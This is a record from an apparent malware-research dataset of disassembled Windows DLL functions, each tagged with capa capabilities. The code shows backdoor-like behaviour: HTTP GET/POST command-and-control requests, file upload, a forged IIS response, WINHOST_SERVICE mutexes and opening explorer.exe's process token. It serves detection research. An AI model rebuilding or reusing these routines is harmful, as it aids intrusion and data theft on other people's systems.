joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016ca0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
xor ebx, ebx
cmp dword [esi + 0x50], ebx
jne 0x10016d7f
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_send]
push edi
lea esp, [esp]
cmp dword [esi + 0x70], ebx
je 0x10016d7d
mov eax, dword [esi + 0x38]
push 0x2000
lea edi, [esi + 0x28]
push eax
mov ecx, edi
call fcn.100125a0
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x5c]
push ebx
push eax
push ecx
push edx
call ebp
cmp eax, 0xffffffff
je 0x10016d25
add dword [esi + 0x44], eax
mov eax, dword [esi + 0x44]
push ebx
push eax
mov ecx, edi
call fcn.10012620
mov eax, dword [esi + 0x98]
cmp eax, ebx
je 0x10016d0c
push esi
call eax
add esp, 4
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x40]
cmp eax, ecx
je 0x10016d4c
jle 0x10016d1b
mov dword [esi + 0x70], ebx
cmp dword [esi + 0x50], ebx
je 0x10016cc0
pop edi
pop ebp
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10016d44
mov eax, dword [esi + 0x44]
push ebx
push eax
lea ecx, [esi + 0x28]
call fcn.10012620
pop edi
pop ebp
pop esi
pop ebx
ret
pop edi
pop ebp
mov dword [esi + 0x70], ebx
pop esi
pop ebx
ret
lea ecx, [esi + 0x28]
call fcn.100125f0
mov ecx, dword [esi + 0x38]
push ecx
call fcn.1007f6d5
mov eax, dword [esi + 0x9c]
add esp, 4
mov dword [esi + 0x38], ebx
mov dword [esi + 0x54], 4
mov dword [esi + 0x70], ebx
cmp eax, ebx
je 0x10016d7d
push esi
call eax
add esp, 4
pop edi
pop ebp
pop esi
pop ebx
ret

Function at 0x10016d90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x5c]
push edi
push 0
push 0x2000
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0x3c]
add dword [esi + 0x4c], eax
push eax
lea edi, [esi + 0x30]
push edx
mov ecx, edi
call fcn.10012580
mov eax, dword [esi + 0x98]
test eax, eax
je 0x10016dcd
push esi
call eax
add esp, 4
mov eax, dword [esi + 0x4c]
cmp eax, dword [esi + 0x48]
jne 0x10016e0d
mov ecx, edi
call fcn.100125f0
mov ecx, dword [esi + 0x3c]
push ecx
call fcn.1007f6d5
mov eax, dword [esi + 0x9c]
add esp, 4
mov dword [esi + 0x3c], 0
mov dword [esi + 0x54], 3
mov dword [esi + 0x74], 0
test eax, eax
je 0x10016e0d
push esi
call eax
add esp, 4
pop edi
pop esi
ret

Function at 0x10017010
Capabilities:
Resolve dns

Disassembly:
xor eax, eax
push esi
mov esi, dword [esp + 0x10]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
push edi
mov edi, dword [esp + 0xc]
mov dword [esi + 0xc], eax
mov eax, 2
push edi
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10017053
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10017067
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esi + 4], eax
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
pop edi
mov al, 1
pop esi
ret
push 0x2726
call dword [sym.imp.WS2_32.dll_WSASetLastError]
pop edi
xor al, al
pop esi
ret
Function at 0x100172b0
Capabilities:
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x404
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x400], eax
mov edx, dword [esp + 0x408]
push esi
push edi
mov esi, ecx
mov eax, dword [esi + 0x7c]
mov ecx, dword [esi + 0xb4]
movsx edi, byte [esi + 0x10]
push eax
push ecx
push edi
push edx
push eax
push ecx
lea eax, [esp + 0x20]
push str.GET_HTTP:___s:_d_123456789__d.asp__c_HTTP_1.1_r_nHOST:__s:_d_r_nAccept:___r_nAccept_Ranges:_bytes_r_nProxy_Connection:_Keep_Alive_r_n_r_n
push eax
mov dword [esi + 8], edx
call fcn.100807c6
add esp, 0x20
push 0
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi + 0x5c]
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x408]
pop edi
pop esi
xor ecx, esp
call fcn.1007fec9
add esp, 0x404
ret 4
Function at 0x100176f0
Capabilities:
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x24c
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x248], eax
push ebp
mov ebp, dword [esp + 0x258]
push esi
push edi
mov edi, dword [esp + 0x25c]
mov esi, ecx
cmp dword [esi + 0x70], 0
mov dword [esp + 0x10], edi
je 0x10017728
xor eax, eax
jmp 0x1001784c
cmp dword [esi + 0x38], 0
jne 0x1001773e
push 0x2000
call fcn.1007f6ca
add esp, 4
mov dword [esi + 0x38], eax
push ebx
lea eax, [esp + 0x18]
push eax
push edi
mov dword [esi + 0x70], 1
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [esp + 0x38]
mov edi, dword [esp + 0x268]
cmp edi, ebx
mov dword [esp + 0x10], ebx
jle 0x10017767
xor edi, edi
push 0xff
lea ecx, [esp + 0x15c]
push 0
push ecx
call fcn.1007f650
push edi
push ebx
push ebp
lea edx, [esp + 0x170]
push str.file:____name:_s_rsize:_d_rpos:_d_r
push edx
call fcn.100807c6
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
lea eax, [esp + 0x158]
push eax
call ebp
cmp dword [esi + 0x6c], 0
mov ebx, eax
jne 0x100177ee
mov eax, dword [esi + 0x7c]
mov ecx, dword [esi + 0xb4]
mov edx, ebx
sub edx, edi
add edx, dword [esp + 0x10]
push edx
movsx edx, byte [esi + 0x10]
push eax
push ecx
push edx
mov edx, dword [esi + 8]
push edx
push eax
mov eax, dword [esi + 0x38]
push ecx
push str.POST_HTTP:___s:_d_123456789__d.asp__c_HTTP_1.1_r_nHOST:__s:_d_r_nAcceptept:___r_nAccept_Ranges:_bytes_r_nContent_Type:_multipart_form_data_r_nContent_Length:__d_r_nPragma:_no_cache_r_nProxy_Connection:_Keep_Alive_r_n_r_n
push eax
call fcn.100807c6
mov ecx, dword [esi + 0x38]
add esp, 0x24
push 0
push ecx
call ebp
mov edx, dword [esi + 0x38]
push eax
mov eax, dword [esi + 0x5c]
push edx
push eax
jmp 0x10017819
mov edx, dword [esi + 0x38]
mov ecx, ebx
sub ecx, edi
add ecx, dword [esp + 0x10]
push ecx
push str.HTTP_1.1_200_OK_r_nServer:_Microsoft_IIS_5.0_r_nContent_Length:__d_r_nPragma:_no_cache_r_nConnection:_close_r_n_r_n
push edx
call fcn.100807c6
mov eax, dword [esi + 0x38]
add esp, 0xc
push 0
push eax
call ebp
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x5c]
push eax
push ecx
push edx
mov ebp, dword [sym.imp.WS2_32.dll_send]
call ebp
mov ecx, dword [esi + 0x5c]
push 0
push ebx
lea eax, [esp + 0x160]
push eax
push ecx
mov dword [esp + 0x16d], ebx
call ebp
mov edx, dword [esp + 0x14]
push edi
push edx
mov ecx, esi
call fcn.10016f20
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x254]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1007fec9
add esp, 0x24c
ret 0xc
Function at 0x100186b0
Capabilities:
Connect socket
Get socket status

Disassembly:
push 0xffffffffffffffff
push 0x100b5ccb
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x120]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x64], ebx
jne 0x1001876c
call fcn.10016920
test al, al
je 0x1001876c
mov eax, dword [0x100d302c]
mov dword [esp + 0x14], eax
push 0x100bad1e
lea edi, [esi + 0x14]
push edi
mov dword [esp + 0x130], ebx
call fcn.10009570
test al, al
je 0x10018737
push 0x100bae9c
push edi
call fcn.10009570
test al, al
je 0x10018737
push edi
lea ecx, [esp + 0x18]
mov byte [esi + 0x10], 0x68
call fcn.100097c0
mov eax, dword [esi + 0xc]
jmp 0x1001874a
lea ecx, [esi + 0xb4]
push ecx
lea ecx, [esp + 0x18]
call fcn.100097c0
mov eax, dword [esi + 0x7c]
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0xa4]
push edi
push eax
push ebp
call fcn.10017010
add esp, 0xc
test al, al
jne 0x10018773
lea ecx, [esp + 0x14]
call fcn.10001b90
xor al, al
jmp 0x10018820
mov edx, dword [esi + 0x5c]
push 0x23
push edx
mov ecx, esi
mov dword [esi + 0x6c], ebx
call fcn.10018590
test al, al
je 0x10018763
mov eax, dword [esi + 0x5c]
push ebx
push ebx
push ebx
push ebx
push 0x10
push edi
push eax
call dword [sym.imp.WS2_32.dll_WSAConnect]
mov eax, 1
cmp dword [esi + 0x78], eax
jne 0x100187f6
mov ecx, dword [esi + 0x5c]
lea edx, [esp + 0x14]
push edx
push ebx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x28], 5
mov dword [esp + 0x2c], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x100187f6
lea ecx, [ebp - 0xc]
cmp ecx, dword [0x100d3028]
je 0x100187f2
lea esi, [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x100187f2
push esi
call fcn.1007f6d5
add esp, 4
xor al, al
jmp 0x10018820
cmp dword [esi + 0x60], ebx
lea edx, [ebp - 0xc]
sete bl
cmp edx, dword [0x100d3028]
je 0x1001881e
lea esi, [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x1001881e
push esi
call fcn.1007f6d5
add esp, 4
mov al, bl
mov ecx, dword [esp + 0x120]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret

Function at 0x100192b0
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
mov esi, ecx
call fcn.1000b790
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [esi + 0x28], eax
mov byte [esi + 0x2e], 1
mov byte [esi + 0x2f], 0
call edi
push 0
push 0
push 0
push 0
mov dword [esi + 0x1c], eax
call edi
lea ecx, [esp + 8]
push ecx
push 0
push esi
push 0x10019240
push 0
push 0
mov dword [esi + 0x20], eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ecx
ret 4
Function at 0x1001d0a0
Capabilities:
Create thread

Disassembly:
push esi
push 0x100d7350
push 0
mov esi, ecx
push esi
push 0x1001ce50
push 0
push 0
call fcn.1008193d
add esp, 0x18
mov dword [0x100d734c], eax
test eax, eax
je 0x1001d0d8
mov eax, dword [esi + 4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x100d734c]
test eax, eax
setne al
pop esi
ret

Function at 0x1001d7a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d7b5
test al, 0x10
je 0x1001d7b5
mov al, 1
ret
xor al, al
ret

Function at 0x1001e5e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100b6202
mov eax, dword fs:[0]
push eax
push ecx
push ebp
push esi
push edi
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x34]
mov dword [esi + 8], ecx
mov ecx, dword [esp + 0x28]
xor ebp, ebp
mov dword [esi], ebp
mov dword [esi + 4], eax
mov dword [esi + 0xc], edx
mov eax, dword [ecx]
cmp dword [eax - 0xc], ebp
lea edi, [esi + 0x10]
jl 0x1001e63f
mov dword [edi], eax
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
jmp 0x1001e650
mov eax, dword [0x100d302c]
mov dword [edi], eax
mov ecx, dword [ecx]
push ecx
mov ecx, edi
call fcn.10009830
lea edx, [esi + 0x1038]
mov dword [esi + 0x1014], ebp
mov dword [esi + 0x102c], ebp
push edx
mov dword [esp + 0x20], ebp
mov dword [esi + 0x1034], ebp
mov dword [esi + 0x1030], 0x100bbafc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push ebp
push ebp
push 1
push ebp
mov dword [esi + 0x1054], ebp
mov dword [esi + 0x1050], 0x100bbae8
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x1054], eax
push 0x5c
mov byte [esp + 0x20], 2
mov dword [esi + 0x1058], ebp
call fcn.10080587
add esp, 4
mov dword [esp + 0x24], eax
mov byte [esp + 0x1c], 3
cmp eax, ebp
je 0x1001e6e2
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
mov edx, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x38]
push edx
push ecx
mov ecx, eax
call fcn.1001d220
jmp 0x1001e6e4
xor eax, eax
mov byte [esp + 0x1c], 2
mov dword [esi], eax
cmp eax, ebp
je 0x1001e6f7
push edi
mov ecx, eax
call fcn.1001c370
mov ecx, esi
call fcn.1001dad0
test eax, eax
je 0x1001e70e
call fcn.1001dad0
mov ecx, eax
call fcn.1001d960
xor eax, eax
mov dword [esi + 0x1018], eax
mov dword [esi + 0x101c], eax
mov dword [esi + 0x1020], eax
mov dword [esi + 0x1024], eax
mov dword [esi + 0x1028], eax
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x10
ret 0x24
Function at 0x1001fa60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100b6448
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 8], ebx
je 0x1001fba2
mov eax, dword [edi + 0x28]
mov edx, dword [eax]
lea ecx, [edi + 0x28]
push 0xffffffffffffffff
mov dword [esp + 0x20], ecx
call edx
mov dword [esp + 0x24], 1
mov ebp, dword [edi + 0x20]
sub ebp, dword [edi + 0x1c]
lea esi, [edi + 0x10]
sar ebp, 2
mov dword [esp + 0x30], ebx
test ebp, ebp
jle 0x1001fb14
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
sar eax, 2
cmp ebx, eax
jb 0x1001fad2
call fcn.10080551
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx + ebx*4]
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x1001fb0f
mov edx, dword [edi + 4]
push edx
call fcn.1001e890
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
sar eax, 2
cmp ebx, eax
jb 0x1001fafb
call fcn.10080551
mov ecx, dword [esi + 0xc]
mov dword [ecx + ebx*4], 0
mov ecx, dword [esp + 0x14]
push edi
call fcn.1001ecc0
inc ebx
cmp ebx, ebp
jl 0x1001fac0
mov eax, dword [esi + 0x10]
mov dword [esp + 0x14], eax
cmp dword [esi + 0xc], eax
jbe 0x1001fb25
call fcn.10080551
mov ebx, dword [esi + 0xc]
mov ebp, dword [esi]
cmp ebx, dword [esi + 0x10]
jbe 0x1001fb34
call fcn.10080551
mov edx, dword [esp + 0x14]
mov eax, dword [esi]
push edx
push ebp
push ebx
push eax
lea eax, [esp + 0x24]
push eax
mov ecx, esi
call fcn.1001f940
mov ecx, dword [edi + 4]
xor esi, esi
push esi
push esi
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov edx, dword [edi + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [edi + 4]
push eax
mov dword [edi + 8], esi
mov dword [edi + 0xc], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov dword [edi + 4], esi
mov edx, dword [ecx]
mov eax, dword [edx + 8]
mov dword [esp + 0x30], 0xffffffff
call eax
lea eax, [esi + 1]
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
xor eax, eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10020260
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x100b654b
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [esp + 0x24]
mov eax, dword [edi]
cmp dword [eax - 8], 0
je 0x10020458
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x10020458
cmp dword [esp + 0x2c], 0
je 0x10020458
mov eax, edi
call fcn.1001d7a0
test al, al
jne 0x100202cd
push 0xa1
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0xa1
jmp 0x10020465
push edi
mov ecx, esi
call fcn.1001ec20
test eax, eax
je 0x100202e1
push edi
mov ecx, esi
call fcn.1001eec0
call fcn.1001e280
mov eax, dword [edi]
push 0
push 0x42000000
push 3
push 0
push 3
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1002031b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
jmp 0x10020465
push 0x105c
call fcn.10080587
add esp, 4
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], 0
test eax, eax
je 0x10020363
mov ecx, dword [esi + 0x4c]
mov edx, dword [esp + 0x38]
push ecx
mov ecx, dword [esp + 0x38]
push edx
movzx edx, byte [esi + 0x48]
push ecx
mov ecx, dword [esp + 0x3c]
push edx
mov edx, dword [esp + 0x3c]
push ecx
push ebp
push edx
push edi
push ebx
mov ecx, eax
call fcn.1001e5e0
mov edi, eax
jmp 0x10020365
xor edi, edi
mov dword [esp + 0x1c], 0xffffffff
test edi, edi
jne 0x10020388
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [edi + 0xe]
jmp 0x10020465
mov eax, dword [esi + 4]
push 0
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [esi + 4], eax
test eax, eax
jne 0x100203bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
mov ecx, edi
mov esi, eax
call fcn.1001ecc0
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
jmp 0x10020465
cmp dword [esi + 8], 0
jne 0x10020403
lea ecx, [esp + 0x24]
push ecx
push 0
push esi
push 0x1001f170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x100203f5
push eax
mov ecx, edi
call fcn.1001ecc0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x10020451
call esi
jmp 0x10020465
mov edx, dword [esp + 0x24]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
test eax, eax
je 0x10020446
mov eax, dword [esi + 4]
push eax
mov ecx, edi
call fcn.1001db20
mov ebx, eax
test ebx, ebx
je 0x10020428
push 0
mov ecx, edi
call fcn.1001ecc0
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
jmp 0x10020465
mov ecx, dword [esp + 0x2c]
push esi
call fcn.1001f670
push edi
mov ecx, esi
call fcn.10020110
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10020465
push 0xa4
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0xa4
jmp 0x10020465
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0x57
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0x18
Function at 0x10020570
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x20
mov eax, dword [esp + 0x24]
push ebx
push ebp
push esi
push edi
push 0x32
mov esi, ecx
push eax
lea edi, [esi + 4]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 1
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
cmp dword [esi + 0x70], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea eax, [esp + 0x1c]
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], eax
jne 0x100205db
push edi
push 1
lea ecx, [esp + 0x18]
push ecx
call ebx
mov dword [esi + 0x70], eax
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
je 0x100205ec
call ebp
cmp eax, 0xb7
jne 0x1002060e
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 1
lea edx, [esp + 0x18]
push edx
call ebx
mov dword [esi + 0x70], eax
test eax, eax
je 0x10020634
call ebp
cmp eax, 0xb7
je 0x10020634
cmp dword [esi + 0x74], 0
jne 0x10020625
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x74], eax
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4

Function at 0x10020810
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100b6583
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
cmp dword [0x100d7368], 0
jne 0x1002087c
push 0x10ed0
call fcn.10080587
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x30], 0
test eax, eax
je 0x10020862
mov ecx, eax
call fcn.1003ae50
jmp 0x10020864
xor eax, eax
push 0
push 0
mov ecx, eax
mov dword [esp + 0x38], 0xffffffff
mov dword [0x100d7368], eax
call fcn.10011430
mov eax, dword [0x100d7368]
mov ecx, dword [eax + 4]
push str.WINHOST_SERVICE_MUTEX_D
push ecx
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov edx, dword [esp + 0x38]
push edx
lea ecx, [esp + 0xc]
call fcn.100115c0
lea ecx, [esp + 8]
mov dword [esp + 0x30], 1
call fcn.10011580
lea ecx, [esp + 8]
mov dword [esp + 0x30], 0xffffffff
call fcn.100115d0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
add esp, 0x30
ret
Function at 0x100208d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100b65b3
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
cmp dword [0x100d7368], 0
jne 0x1002093c
push 0x10ed0
call fcn.10080587
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x30], 0
test eax, eax
je 0x10020922
mov ecx, eax
call fcn.1003ae50
jmp 0x10020924
xor eax, eax
push 0
push 0
mov ecx, eax
mov dword [esp + 0x38], 0xffffffff
mov dword [0x100d7368], eax
call fcn.10011430
mov eax, dword [0x100d7368]
mov ecx, dword [eax + 4]
push str.WINHOST_SERVICE_MUTEX_D2
push ecx
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov edx, dword [esp + 0x38]
push edx
lea ecx, [esp + 0xc]
call fcn.100115c0
lea ecx, [esp + 8]
mov dword [esp + 0x30], 1
call fcn.10011580
lea ecx, [esp + 8]
mov dword [esp + 0x30], 0xffffffff
call fcn.100115d0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
add esp, 0x30
ret

Function at 0x10020a10
Capabilities:
Create thread

Disassembly:
push ecx
push 0x10020480
call fcn.100804ec
add esp, 4
push 0x32
push str.WINHOST_SERVICE_MUTEX_E
push 0x100d73ae
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push str.WINHOST_SERVICE_MUTEX_D
mov ecx, 0x100d7378
mov dword [0x100d7378], 0x10020990
call fcn.10020570
test eax, eax
jne 0x10020a4f
pop ecx
ret
lea eax, [esp]
push eax
push 0
push 0x100d7378
push 0x1007d3f0
push 0
push 0
mov dword [0x100d73e0], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
mov dword [0x100d73e4], eax
call fcn.10020810
add esp, 4
mov eax, 0x2a
pop ecx
ret

Function at 0x10020aa0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x128], eax
push esi
push edi
mov edi, dword [esp + 0x138]
push 0x124
lea eax, [esp + 0x10]
push 0
push eax
mov dword [esp + 0x14], 0
call fcn.1007f650
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x10020b02
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.1007fec9
add esp, 0x12c
ret
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10020b6a
lea esp, [esp]
lea edx, [esp + 0x2c]
push str.explorer.exe
push edx
call fcn.100a66cb
add esp, 8
test eax, eax
je 0x10020b4a
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10020b20
lea edi, [eax + 1]
jmp 0x10020b6c
mov ecx, dword [esp + 0x10]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push edi
push 0xb
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, eax
jmp 0x10020b6c
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x130]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.1007fec9
add esp, 0x12c
ret